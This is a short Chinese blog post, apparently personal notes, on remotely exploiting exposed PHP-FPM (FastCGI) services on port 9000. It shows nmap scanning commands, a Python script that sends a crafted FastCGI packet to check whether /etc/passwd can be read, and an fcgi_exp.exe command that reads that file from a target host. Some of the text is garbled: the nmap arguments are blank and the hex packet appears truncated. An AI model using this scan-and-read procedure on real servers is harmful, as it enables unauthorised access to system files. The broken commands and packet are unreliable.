FPM的远程利用

看了lijiejie的博客，和乌云的PHPFastCGI的这篇文章，感觉在实际的业务中经常能遇到，所以在此记录下来：

php的fastcgi目前通常叫做FPM。他默认监听的端口是9000端口。

可以用nmap来进行扫描一下：

nmap -sV -p  --open x.x.x.x/

检查出来的是存在9000端口开放的主机

接着用nmap来指纹识别一下：

nmap -sV -p  --open .xxx.xxx./

结果如下：

[root@test:~/work/fcgi]#nmap -sV -p  --open .xxx.xxx./ 

Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDT

如果是对于内网的话可以用lijiejie写的py:

 import socket

 import sys

 def test_fastcgi(ip):

     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0)

     sock.connect((ip, 9000))

     data = """

     01 01 00 01 00 08 00 00  00 01 00 00 00 00 00 00

     01 04 00 01 00 8f 01 00  0e 03 52 45 51 55 45 53

     63 6c 69 65 6e 74 20 00  01 04 00 01 00 00 00 00

     """

     data_s = ''

     for _ in data.split():

         data_s += chr(int(_,16))

     sock.send(data_s)

     try:

         ret = sock.recv(1024)

         if ret.find(':root:') > 0:

             print ret

             print '%s is vulnerable!' % ip

             return True

         else:

             return False

     except Exception, e:

         pass

     sock.close()

 if __name__ == '__main__':

     if len(sys.argv) == 1:

         print sys.argv[0], '[ip]'

     else:

         test_fastcgi(sys.argv[1])

然后就可以用：

fcgi_exp.exe read XXX.XXX.XXX.XXX 9000 /etc/passwd
